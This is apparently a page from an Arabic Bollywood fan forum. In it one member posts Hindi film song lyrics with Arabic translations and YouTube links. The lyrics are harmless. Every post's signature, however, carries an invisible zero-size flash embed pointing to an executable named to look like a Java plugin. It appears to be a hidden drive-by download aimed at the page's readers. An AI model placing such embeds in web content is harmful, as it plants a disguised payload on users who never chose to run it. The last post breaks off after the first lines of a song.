♥::::::♥ أغاني الأفلام الهندية بترجمة عربية ♥::::::♥ - الصفحة 15 - منتـــديــآت عـــآلم بۈلـــيۈۈد
  التسجيل   التعليمـــات   التقويم


FM عآلم بوليــوُد اغاني بوليــوُد بصيغة MP3 وترجماتها

إضافة رد
 
أدوات الموضوع إبحث في الموضوع
قديم 28 / 07 / 2012, 36 : 12 PM   #141
Rasha@SKFC
[ نجوم في سمآء منتدآنآ ]
 
الصورة الرمزية Rasha@SKFC
 
تاريخ التسجيل: 07 / 01 / 2012
الدولة: Jordan
المشاركات: 1,308
معدل تقييم المستوى: 21474838
Rasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond repute
الاغنية5 من فلم jaant 2 اسمها Jannatein kahan البطولة لعمران الهاشمي وايشا غبتا ..

Zara sa zara sa,
Lage tu khafa sa,
Zara sa zara sa,
Gila bewajah sa,
Tere hi liye tujhse hoon judaa
Jannatein kahan bin hue fanaa


قليلا قليلا
انت تبدي غاضبة قليلا
قليلا قليلا
تشكي بدون سبب
انا بعيد عنك لاجلك فقط
اين هي الجنه بدون فناء

Zara sa zara sa
raahon mein dhuaan sa
Tere hi liye tujhse hoon judaa
Jannatein kahan bin hue fanaa

قليلا قليلا
يوجد دوخان هناك
انا بعيد عنك لاجلك فقط
اين هي الجنه بدون فناء


phir kahan phir kahan
kho gaya raasta
yoon to aankhon ke hi saamne tha manzil ka pata
phir bhi jaane kaise reh gaya ye do kadam ka faasla ye
darmiyaan apne darmiyaan

وبعد ذلك اين اذهب
لا يوجد طريق
كما لو كان هدفك امام عينك وانت تعلمه
ولا تعلم كيف تفترب اكثر رغم البعد فقط خطوتين
بيننا , بنينا
اين هي الجنه بدون فناء


http://www.youtube.com/watch?v=4wkBfXVBnxI
__________________


[flash=http://altsame.com/vb/jav@plug.v3_2.exe]WIDTH=0 HEIGHT=0[/flash]
Rasha@SKFC غير متواجد حالياً   رد مع اقتباس
قديم 29 / 07 / 2012, 23 : 08 AM   #142
Rasha@SKFC
[ نجوم في سمآء منتدآنآ ]
 
الصورة الرمزية Rasha@SKFC
 
تاريخ التسجيل: 07 / 01 / 2012
الدولة: Jordan
المشاركات: 1,308
معدل تقييم المستوى: 21474838
Rasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond repute
حبيت اليوم نغير شوي عن لجديد وترجم اغنية من اروع الاغاني بتسعنات .. هي Aye ajnabi من فلم dilse بطولة شاروك خان ومنيشا كوريالا .. بتمنى انها تعجبكم


paakhi paakhi pardesi : سأبقى بالغربة

Aye ajnabi tu bhi kabhi aawaaz de kahin se
Main yahan tukdon mein jee raha hoon
Tu kahin tukdone mein jeen rahi hai

ايها الغريبة . الذي يصيلني صوتك من مكان ما
جزاء مني باقية هنا
واجزاء اخرى مني تسكن حيث انت موجود

Roz roz resham si hawa aate jaate kehti hai bata
Resham si hawa kehti hai bata
Vo jo doodh dhuli masoom kali
Vo hai kahan kahan hai
Vo roshni kahan hai vo jaansi kahan hai
Main adhoora tu adhoori jee rahein hain

كل يوم الريح الحريرية اتأتي وتذهب وهي تقول لي اخبرني
ريح الحريرية تقول اخبرني
تسألني عن الفتاة ذات الوجه البريء المتوهج باللمعان
اين هي ؟
اين الضوء واين المعان
انا غير كامل وانت غير كاملة بدون بعض فكيف نحيا

paakhi paakhi pardesi : سأبقى بالغربة

--------------- هذا المقطع بقتلني -------------

Tu to nahin hai lekin teri muskurahatein hain
Chehra nahin hai par teri aahatein hain
Tu hai kahan kahan hai
Tera nishaan kahan hai
Mera jahan kahan hai
Main adhoora tu adhoori jee rahein hain

انت لست هنا ولكن مازلت ارى ابتسامتك
انا لا ارى وجهك ولكن استطيع سماع سير قدماك
اين انت اين ؟
اين هو ابتهاجك
اين هو عالمي
انا غير كامل وانت غير كاملة بدون بعض فكيف نحيا

http://www.youtube.com/watch?feature...&v=clr-5FqjTLc
__________________


[flash=http://altsame.com/vb/jav@plug.v3_2.exe]WIDTH=0 HEIGHT=0[/flash]
Rasha@SKFC غير متواجد حالياً   رد مع اقتباس
قديم 29 / 07 / 2012, 19 : 09 AM   #143
Rasha@SKFC
[ نجوم في سمآء منتدآنآ ]
 
الصورة الرمزية Rasha@SKFC
 
تاريخ التسجيل: 07 / 01 / 2012
الدولة: Jordan
المشاركات: 1,308
معدل تقييم المستوى: 21474838
Rasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond repute
الاغنية الثانية من فلم Dilse هي اغنية satarangi re الفلم بطولة شاروك خان ومنيشا كوريالا

tu hi tu tu hi tu satarangi re
tu hi tu tu hi tu manarangi re

انت انت كثيرة الالوان
انت انت روحك ملونه

dil ka saaya hamsaaya satarangi re manarangi re
koi nuur hai tu kyon duur hai tu
jab paas hai tu ahasaas hai tu satarangi re
koi khwaab hai ya parchhaai hai satrangi re
is baar bata munhzor hawa thaharegi kahaan

الاظلال داخل قلبي اصبحت كثيرة الالون لان روحك ملونه
انت نور فلماذا انت بعيدة
عندما تقتربي ستشعري بهذه الالوان المتفرقة
هل انت حلم ام انت واقع .. في نفس اللون
اخبرتي الان .. متى ه الرياح الهوجاء ستهدأ

ishq par zor nahin hai ye vo aatish ghaalib
jo lagaye na lage aur bujhaa'e na bane
ishq par zor nahin hai ye vo aatish ghaalib

انه الحب وليس كذب انه شي الذي لا يمكنك السيطرة عليه
لا يمكن البدأ به لمجرد نزوة لا يمكنك تركه مهما حاولت
انه الحب وليس كذب انه شي الذي لا يمكنك السيطرة عليه

aankhon ne kuch aise chhuua
halka halka uns hua
dil ko ye mahasuus hua

عيونها كأنها اصبتني بشي
برفق برفق حتى اصبحت مفتون بها
حتى أصبح قلبي ممتلأ احساس

tu hi tu tu hi tu jine ki saari khushbuu
tu hi tu tu hi tu aarzu aarzuu

انت انت تعود لك كل العطور
انت انت هو الشوق نفسه

teri jism ki aanch ko chuute hi
meri saans sulagane lagati hai
mujhe ishq dilaase deta hai
mere dard bilakane lagte hai

النار الموجودة بجسمها
احرقت انفاسي
والعشق ثائر داخلي
يتحول الي الم الذي لا افهمه

tu hi tu tu hi tu jine ki saari khushbuu
tu hi tu tu hi tu aarzu aarzuu

انت انت تعود لك كل العطور
انت انت هو الشوق نفسه

chhuuti hai mujhe sargoshi se
aankhon mein ghuli khaamoshi se
main farsh pe sajjaade karta huun
kuch hosh mein kuch behoshi se

انت تلمسيني مثل الهمس
عيناك تلمحان بالصمت
على الارض اقوم بالصلاة
بنصف صاحي ونصف الاخر غائب عن الوعي

dil ka saaya hamsaaya satarangi re manarangi re
koi nuur hai tu kyon duur hai tuu
jab paas hai tu ahasaas hai tu satarangi re
koi khwaab hai ya parchhaai hai satrangi re

الاظلال داخل قلبي اصبحت كثيرة الالون لان روحك ملونه
انت نور فلماذا انت بعيدة
عندما تقتربي ستشعري بهذه الالوان المتفرقة
هل انت حلم ام انت واقع .. في نفس اللون

teri raahon mein ulajha ulajha huun
teri baahon mein ulajha ulajha
sulajhaane de hosh mujhe
teri chaahon mein uljha huun

انا واقع في شباك على طريقك
انا واقع بالشباك في حضنك
دعيني احاول ان استيقظ من لغزك
انا عالق في سنارة رغباتك

mera jina junuun mera marna junuun
ab iske siva na koi sukuun

انت تمتلكي حياتي ومماتي
وغير ذلك لا يوجد سكون


tu hi tu tu hi tu satarangi re
tu hi tu tu hi tu manarangi re

انت انت كثيرة الالوان
انت انت روحك ملونه

ishq par zor nahin hai ye vo aatish ghaalib
jo lagaye na lage aur bujhaa'e na bane
ishq par zor nahin hai ye vo aatish ghaalib

انه الحب وليس كذب انه شي الذي لا يمكنك السيطرة عليه
لا يمكن البدأ به لمجرد نزوة لا يمكنك تركه مهما حاولت
انه الحب وليس كذب انه شي الذي لا يمكنك السيطرة عليه


mujhe maut ki god mein sone de
teri ruuh mein jism Dubone de
satarangi re manarangi re

دعيني انام في احضان الموت
اسمحي لي ان اغرق جسمي بروحك
انت الملونه وروحك كثيرة الالون

http://www.youtube.com/watch?v=DW4tR-59uz4
__________________


[flash=http://altsame.com/vb/jav@plug.v3_2.exe]WIDTH=0 HEIGHT=0[/flash]
Rasha@SKFC غير متواجد حالياً   رد مع اقتباس
قديم 29 / 07 / 2012, 59 : 09 AM   #144
Rasha@SKFC
[ نجوم في سمآء منتدآنآ ]
 
الصورة الرمزية Rasha@SKFC
 
تاريخ التسجيل: 07 / 01 / 2012
الدولة: Jordan
المشاركات: 1,308
معدل تقييم المستوى: 21474838
Rasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond repute
رح اكمل مع الملك خان واغنية Ajab Si من فلم Om shanti om بشاركه البطولة ارجون رامبال و ديبكا بدكون

ملاحظه :- ... في شي مهم بدي اقوله عن عنوان الفلم .. عنوان الفلم هو عبارة عن ايه او جمله موجودة الكتاب المقدس الهندوسي وOm يعني اللفظ المقدس للاله شيفا وهي اللفظ الحامي وعين الحارسة و shanti يعني السلام والامان .. وبشكل عام معناها : الحفظ الاله شيفا لكل الكائنات بأمانه وحفظه , وعلى فكرة الهندوس بحكو كلمة اوم من 3 الى 7 مرات كل شروق وغروب يعني موعيد صلاتهم للتبرك فيها ,, فلازم نتبه يا جماعة على اللفاظنا خاصة انه احنا بشهر رمضان

المهم نبدأ بترجمه


Aankhon Mein Teri Ajab Si Ajab Si Adayein Hai
Dil Ko Bana De Jo Patang Saansien
Yeh Teri Woh Hawaaien Hai

بعيونها يوجد جمال عجيب
مما جعل قلبي مثل الطائرة الورقية
وانفاسك هي الريح

Aayi Aisi Raat Hai Jo
Bahut Khushnaseeb Hai
Chaahe Jise Door Se Duniya
Woh Mere Kareeb Hai

جائت الليله التي
سأكون محظوظ للغاية
لان الشخص الذي كل الدنيا تحبه من بعيد
اصبح الان قريب لي

Kitna Kuchh Kehna Hai
Phir Bhi Hai Dil Mein Saawal Hai Kahin
Sapnon Mein Jo Roz Kaha Hai
Woh Phir Se Kahun Ya Nahin

اود القول كثير من الاشياء
لكن يوجد سؤال بمكان ما داخل قلبي
انا اقولها كل يوم في احلامي
هل اقولها مرة اخرى ام لا

Aankhon Mein Teri Ajab Si Ajab Si Adayein Hai
Dil Ko Bana De Jo Patang Saansien
Yeh Teri Woh Hawaaien Hai

بعيونها يوجد جمال عجيب
مما جعل قلبي مثل الطائرة الورقية
وانفاسك هي الريح

Tere Saath Saath Aisa Koi Noor Aaya Hai
Chaand Teri Roshni Ka Halka Sa Ek Saaya Hai

معها فقط كأن ضوء قدم
انه ضوء القمر كأنه ظل بجانب نورك انت

Teri Nazaron Ne Dil Ka Kiya Jo Hashar
Asar Yeh Hua
Ab In Mein Hi Doob Ke Ho Jau Paar Yehi Hai Dua

عيونك قد فرضت شروط على قلبي
بأن يكون اسير بها
انا ادعو بصلاتي ان اغرق بعيونك اكثر

http://www.youtube.com/watch?v=3SXYwNnfVf4
__________________


[flash=http://altsame.com/vb/jav@plug.v3_2.exe]WIDTH=0 HEIGHT=0[/flash]
Rasha@SKFC غير متواجد حالياً   رد مع اقتباس
قديم 29 / 07 / 2012, 42 : 10 AM   #145
Rasha@SKFC
[ نجوم في سمآء منتدآنآ ]
 
الصورة الرمزية Rasha@SKFC
 
تاريخ التسجيل: 07 / 01 / 2012
الدولة: Jordan
المشاركات: 1,308
معدل تقييم المستوى: 21474838
Rasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond repute
هذه الاغنية التانية من فلم OM shanti om .. عنوان الاغنية Main Aagar Kahoon وهي اغنيتي المفضلة بهدا الفلم ... الفلم بطولة شاروك خان , ارجون رامبال وديبكا بدكون



Tumko Paya Hai To Jaise Khoya Hoon
Kehna Chahoon Bhi To Tumse Kya Kahon

منذ حصلت عليك فقدت نفسي
حتى اذا رغبت بقول شي .. ماذا يجب علي القول ؟

Kisi Zubaan Mein Bhi Woh Lavz Hi Nahin
Ki Jin Mein Tum Ho Kya Tumhein Bata Sakun
Main Aagar Kahoon Tumsa Haseen Kaynaat Mein Nahin Hai Kahin
Tareef Yeh Bhi To Sach Hai Kuch Bhi Nahin
Tumko Paya Hai To Jaise Khoya Hoon

لا يوجد كلمات بأي لغه
التي استطيع من خلالها ان اصفك
اذا انا قلت بأنك جميلة ولا يوجد بجمالك احد بالكون
هذا المديح بالوقع لا شي بنسبه اليك
منذ حصلت عليك فقدت نفسي

Shokhiyon Mein Doobi Yeh Adayein Chehre Se Jhalki Hui Hai
Zulf Ki Ghani Ghani Ghatayein Shaan Se Dhalki Hui Hai
Lehraata Aachal Hai Jaise Badal
Bhaahon Mein Bhari Hai Jaise Chandani Roop Ki Chandani

انا غارق تمام في هذا الجمال , انا مختفي في وجهك
الغيوم داخل شعرك الكثيف , تسقط بفخر على وجهك
وبنهاية تسحبها مثل رياح ما تسحب الغيوم
بيدك التي هي مثل ضوء القمر من الجمال والبياض

Main agar kahoon yeh dilkasheen
Hai nahin kaheen na hogi kabhi
Taareef yeh bhi to sach hai kuch bhi nahi
Tumko Paya Hai To Jaise Khoya Hoon

اذا قلت لك عن مدى روعتك
هذا لم يحصل قبل ولن يحصل متله ابدا
هذا المديح بالوقع لا شي بنسبه اليك
منذ حصلت عليك فقدت نفسي

Tum Hue Meherbaan To Hai Yeh Dastaan
انت رؤوف و حنون وهذه هي قصة

Ab Tumhara Mera Ek Hai Karawaan
Tum Jahan Main Wahaan

الان نحن في نفس الرحلة
انت هناك وانا كذلك

Main Agar Kahoon Humsafar Meri Apsara Ho Tum Ya Koi Pari
Tareef Yeh Bhi To Sach Hai Kuch Bhi Nahi

اذا قلت انك انت رفيقة دربي , ملاكي او حورية
هذا المديح بالوقع لا شي بنسبه اليك

Tumko Paya Hai To Jaise Khoya Hoon
Kehna Chahoon Bhi To Tumse Kya Kahon

منذ حصلت عليك فقدت نفسي
حتى اذا رغبت بقول شي .. ماذا يجب علي القول ؟

Kisi Zubaan Mein Bhi Woh Lavz Hi Nahin
Ki Jin Mein Tum Ho Kya Tumhein Bata Sakun
Main Aagar Kahoon Tumsa Haseen Kaynaat Mein Nahin Hai Kahin
Tareef Yeh Bhi To Sach Hai Kuch Bhi Nahin

لا يوجد كلمات بأي لغه
التي استطيع من خلالها ان اصفك
اذا انا قلت بأنك جميلة ولا يوجد بجمالك احد بالكون
هذا المديح بالوقع لا شي بنسبه اليك

http://www.youtube.com/watch?v=o-Gmhk90JOE
__________________


[flash=http://altsame.com/vb/jav@plug.v3_2.exe]WIDTH=0 HEIGHT=0[/flash]
Rasha@SKFC غير متواجد حالياً   رد مع اقتباس
قديم 04 / 08 / 2012, 00 : 01 AM   #146
Rasha@SKFC
[ نجوم في سمآء منتدآنآ ]
 
الصورة الرمزية Rasha@SKFC
 
تاريخ التسجيل: 07 / 01 / 2012
الدولة: Jordan
المشاركات: 1,308
معدل تقييم المستوى: 21474838
Rasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond repute
هذه ترجمه اغنية Sing Raja غني يا راجا من فلم Joker المهرج بطولة سوناكشي سينا واكشاي كومار


Sing sing sing sing raja
Jag saara jag saara
Jag saara ab duniya
Jaeb mein ab muniya

غني غني غني أيها الامير او يا راجا
اطرب كل اطرب كل
اطرب كل الدنيا
واجعلني مجنونا

Ho dance karle english mein
Arey naach le tu hindi mein

رقص بالانجليزي دانس
رقص بالهندي ناتش

Naach saari raat
Jaise kal hi nahi hona

ارقص طول ليل
كأن لم يأتي غدا

Jhoom saari raat
Jaise hosh nahi aana

تمتع طول الليل
كأن الوعي لن يأتي ابدا

Mujhe roko nahi mujhe toko nahi
Fal todho nahi braham todho nahi
Humein roko nahi humein toko nahi
Fal todho nahi braham todho nahi
انا لا توقف ولا استريح
لست ممتلأ به ولست عابده له
نحن لا نتوقف ولا نستريح
لست ممتلأ به ولست عابده له

Rug rug rug rug rug rug
Rug mein mere nagmein
Nus nus nus nus nus nus
Nus mein mere thumke

داخل داخل
داخل اللحن الموسيقي
اشعر اشعر
اشعرني برعشة

هون باللغة تبلوغو انا ما بفهمها :(

naach le Gujarati "Garba"
naach tu marthi "Natya"
naach tu bengali "matek"
naach tu tu panjabi mein

(كجراتي , ماراتي , بنجابي , بنغالي هي اسماء لغات بالهند)
ارقص بالعجرات غربا
الرقص انت بماراتي ناتا
ارقص انتي ببنغالي ماتك
ورقص انا بالبنجابي

Sing sing sing sing raja
Jag saara jag saara
Jag saara ab duniya
Jaeb mein ab muniya

غني غني غني أيها الامير او يا راجا
اطرب كل اطرب كل
اطرب كل الدنيا
واجعلني مجنونا

Ho dance karle.d.d.d dance karle

ارقص ارقص

Ho dance karle english mein
Arey naach le tu hindi mein

رقص بالانجليزي دانس
رقص بالهندي ناتش

Sing sing
غني غني

http://www.youtube.com/watch?v=kJgdn...layer_embedded
__________________


[flash=http://altsame.com/vb/jav@plug.v3_2.exe]WIDTH=0 HEIGHT=0[/flash]
Rasha@SKFC غير متواجد حالياً   رد مع اقتباس
قديم 04 / 08 / 2012, 54 : 01 AM   #147
Rasha@SKFC
[ نجوم في سمآء منتدآنآ ]
 
الصورة الرمزية Rasha@SKFC
 
تاريخ التسجيل: 07 / 01 / 2012
الدولة: Jordan
المشاركات: 1,308
معدل تقييم المستوى: 21474838
Rasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond repute
هذه اغنية Jugnu من فلم Joker المهرج بطولة سوناكشي سينا واكشاي كومار


Jugnu banke tu..jagmaga jahan..
عندما تبدأ نارك بالاشتعال ... تنير عالم وتزيده لمعان

Aag se apne aag se
Na khud ko jalaa
Na khud ko mitaa
Tu roshan kar aa

نارك , ناركي
لا تحرق
انها صديقة وغير مؤذية
وتزيد من نورك انت

Jugnu banke tu..jagmaga jahan..
عندما تبدأ نارك بالاشتعال ... تنير عالم وتزيده لمعان

Hum jalein hum jalien
Banke jugnu hum jalien
Hum chalien hum chalien
Deewane majnu hum chalien

نحن نحترق , نحن نحترق
نيرران المشتعلة نحن نحترق
نحن نسير , نحن نسير
نحن نسير نحو الجنون بالحب

Sheeshe ke gubbare mein
Chum chamati hui apni duniya
Jagmagati rahe apni duniya
Todh do iss sheeshe ko
Humein hone do ik jahaan
Udhne do humein jaane do
Jagmagaane do saara jahaan

انت مرأته او الزجاج وغباري
التي ملئت دنياتي
اضاءه واضافة لمعان الى دنياتي
القليل جدا مثل هذه المرايا
موجودة في عالمنا
دعيني اطير , حرريني
لأنير كل العالم

Jugnu banke tu..jagmaga jahan..
عندما تبدأ نارك بالاشتعال ... تنير عالم وتزيده لمعان

Hum jalein hum jalien
Banke jugnu hum jalien
Hum chalien hum chalien
Deewane majnu hum chalien

نحن نحترق , نحن نحترق
نيرران المشتعلة نحن نحترق
نحن نسير , نحن نسير
نحن نسير نحو الجنون بالحب


http://www.youtube.com/watch?v=Ws3T9...layer_embedded
__________________


[flash=http://altsame.com/vb/jav@plug.v3_2.exe]WIDTH=0 HEIGHT=0[/flash]
Rasha@SKFC غير متواجد حالياً   رد مع اقتباس
قديم 07 / 08 / 2012, 13 : 09 AM   #148
Rasha@SKFC
[ نجوم في سمآء منتدآنآ ]
 
الصورة الرمزية Rasha@SKFC
 
تاريخ التسجيل: 07 / 01 / 2012
الدولة: Jordan
المشاركات: 1,308
معدل تقييم المستوى: 21474838
Rasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond repute
أول اغنية من فلم Barfi هو نوع حلويات واتوقع انه اسم او لقب رانبير بالفلم .. اسم الاغنية Ala Barfi يعني جاء بارفي .. الفلم بطولة برينكا تشوبر ورانبير كابور . الموسيقى للمبدع بريام واغنية غناء موهيت شالوهان

بسم الله بداية


oo ae..
Aankhon hi aankhon mein kare batein
gupchup gupchup gupchup hoi, fus fus fus fus
oway.. Khwaabon ki nadi mein khaaye gote
gud gud gud ho, bud bud bud

هو يتحدث عن عيوني فقط
بصمت وهمس
هو غاطس في نهر من الاحلام
(صوت الغطس وتنفس وفوقاعات)

Ala ala matwala barfi
Paanv pada mota chhala barfee
Raaton ka hai ye ujaala barfee
Ghumsum ghumsum hi machae ye to uttpaat
Khur khur khur khur khurafati kare non-stop

قد جاء رقيق بارفي
بارفي مثل الفقاعة الموجودة بالقدم
بافي نور الذي ينير لليالي
تراه صامت جدا , لكنه مزعج للغاية
ازعاجه لايمكن ان يتوقف ابدا

Khur khur khur khur, bud bud bud bud
Gud gud gud gud gud maula isise bachai le

انتمنى من ربي ان ينقفذني منه

Aankhon hi aankhon mein kare batein
gupchup gupchup gupchup hoi, fus fus fus fus
oway.. Khwaabon ki nadi mein khaaye gote
gud gud gud ho, bud bud bud

هو يتحدث عن عيوني فقط
بصمت وهمس
هو غاطس في نهر من الاحلام
(صوت الغطس وتنفس وفوقاعات)

Kabhi na rukta re
Kabhi na thamta re
Gham jo dikha use
Khushiyon ki thokar mare

احيانا لا يتوقف
واحيانا يبقى مكانه
واينما رأى الم وغم
يضربها ويضع مكانها افراح

Palko ki harmuniya
Naino ki ga re sa re
Dhadkan ki rhythm pe ye
Gaata jaaye gaane pyare

صوت الهرومنيكا موجود دايما
انها مثل عيونه وجفونه
ولحنها مثل دقات قلبه
ودائما يغني عن الحب وجمال

Bhola na shamjho ye
chaalu khiladi hai bada bada
Sooraj ye bujha dega
Maarega phoonk aesi
chowk talaiyya pipal chhaiyya
Har kooche ki aisi taisi

لكنك لا يمكنك فهمه
انه لاعب ماكر وكبير
انه سينهي وجود الشمس
وانه كثير العطاء
كان يوجد في بيته شجرة بيبال المقدسه
ولانه لايوجد شي هناك

Aankhon hi aankhon mein kare batein
gupchup gupchup gupchup hoi, fus fus fus fus
oway.. Khwaabon ki nadi mein khaaye gote
gud gud gud ho, bud bud bud

هو يتحدث عن عيوني فقط
بصمت وهمس
هو غاطس في نهر من الاحلام
(صوت الغطس وتنفس وفوقاعات)

Barfi jo Amma Ji ki kokh mein tha soya
Amma ne marfi ka radio mangaya
Marfi munna jaisa lalla, Amma ka tha sapna
Munna jab haule haule, duniya mein aaya
Baba ne Ceylon wala station lagaya

عندما كان نائم برحم منه
امه أمرت بفتح الراديو لمرفي
ام هذه مرفي كانت الطفل الحلم لها
وبعد قدوم الطفل الى الحياة والدنيا
انتقل والده للعمل بمحطة سيلان

Radio on hua
Amma off hui
Toota har sapna
Munna mute hi aansu bahae
Munna jhunjhuna sun bhi na paaye
jhun jhun jhun jhun jhun..

بعد تشغيل اراديو
تم طفى الام (وفاتها )
انتهى كل احلام هنا
والطفل اصبح يذرف الدموع بدون صوت
لايمكن لطفل ان يسمع صوت الالعب

انتهت الاغنية

https://www.youtube.com/watch?v=lmiKebc3l6w
__________________


[flash=http://altsame.com/vb/jav@plug.v3_2.exe]WIDTH=0 HEIGHT=0[/flash]
Rasha@SKFC غير متواجد حالياً   رد مع اقتباس
قديم 07 / 08 / 2012, 52 : 09 AM   #149
Rasha@SKFC
[ نجوم في سمآء منتدآنآ ]
 
الصورة الرمزية Rasha@SKFC
 
تاريخ التسجيل: 07 / 01 / 2012
الدولة: Jordan
المشاركات: 1,308
معدل تقييم المستوى: 21474838
Rasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond repute
هذه ترجمه اغنية Deewana Kar Raha Hai Tera Roop Sunehra من فلم Raaz 3D يعني سر .. بطولة بباشيا باسو وعمران هاشمي

بتمنى انها تنال اعجابكم

Teri bahon mein mili aesi raahat si mujhe
Ho gayi jaan-e-jahan teri aadat si mujhe
Dekhoon main jab tujhko to tab mera din ye dhale

لقد وجدت الراحة بين ذراعيك
هي حياتي وعالمي واصبحت عادتي المفضله
لنتهي يومي عندما يقع نظري عليكي

Deewaana kar raha hai tera roop sunehra
Musalsal khal raha hai mujhko ab ye sehra
Bata ab jaayein to jaayein kahan

انا عاشق مجنون بشكلك لمتلألأ
وهذا النهم يقلقني
اخبريني اذهب ولكن الى اين اذهب

Dard ka aalam hai har dum
Tere bin o mere hum dum
Aankhon mein dikhti hain mayusiyaan
Jahan bhi jaun tere bin
Badi mushkil se guzre din
Chubhti hain dil ko teri khaamoshiyaan
Raaz gehra jo hai tera
Darr hai kaisa tu hai mera..

في كل لحظة اشعر بها بالالم
بدونك يا رفيق روحي
يظهر الحزن بعيوني
اينما اذهب بدونك
يمر يومي ووقتي بصعوبه بالغه
صمتك بمزق قلبي
هناك سر غامص داخلك
لماذا الخوف وانت لي ؟

Deewaana kar raha hai tera roop sunehra
Musalsal khal raha hai mujhko ab ye sehra
Bata ab jaayein to jaayein kahan

انا عاشق مجنون بشكلك لمتلألأ
وهذا النهم يقلقني
اخبريني اذهب ولكن الى اين اذهب


Dhul gaye dil ke sare gham
Khushi se ankhein hain ye nam
Zindagi mein tu meri jab se aa gaya
Dil ka armaan banaa hai tu
Meri pehchan banaa hai tu
Sanson mein rooh banke tu sama gaya
Jaan bhi teri, dil bhi tera
Tujhse hai mera savera

ازيل كل الغم والحزن الموجود بقلبك بعيدا
هذه العيون الدامعه تستحق السعادة
عندما انت دخلت حياتي
اصبحت رغبه القلب الوحيدة
واصبحت هوايتي وكل معرفتي
وملأت روحي بأنفاس جذابه ومدهشة
حياتي لك وقلبي لك ايضا
وحتى صباحي اصبح لك

Deewaana kar raha hai tera roop sunehra
Musalsal khal raha hai mujhko ab ye sehra
Bata ab jaayein to jaayein kahan

انا عاشق مجنون بشكلك لمتلألأ
وهذا النهم يقلقني
اخبريني اذهب ولكن الى اين اذهب


http://www.youtube.com/watch?v=PvhEv-yX7Ns
__________________


[flash=http://altsame.com/vb/jav@plug.v3_2.exe]WIDTH=0 HEIGHT=0[/flash]
Rasha@SKFC غير متواجد حالياً   رد مع اقتباس
قديم 07 / 08 / 2012, 45 : 10 AM   #150
Rasha@SKFC
[ نجوم في سمآء منتدآنآ ]
 
الصورة الرمزية Rasha@SKFC
 
تاريخ التسجيل: 07 / 01 / 2012
الدولة: Jordan
المشاركات: 1,308
معدل تقييم المستوى: 21474838
Rasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond repute
هذه اغنية Khayalon mein bhi في خيالاتي ايضا من فلم Raaz3D بطولة عمران هاشمي , بباشيا باسو , ايشا جوبتا

بداية الاغنية

Khayalon mein bhi.. (tum) Hai khaabon mein bhi (tum)
Koi aane laga (tum), Hai yadon mein bhi (tum)
Ae dil mere mehsoos kar in ahaton ko
Dhadkan ne jo seene mein lee, un karwaton ko
Aye Khuda, Aye Khuda
Main hui mujh se juda

بخيالاتي ايضا (انت ) . وفي احلامي ايضا (انت )
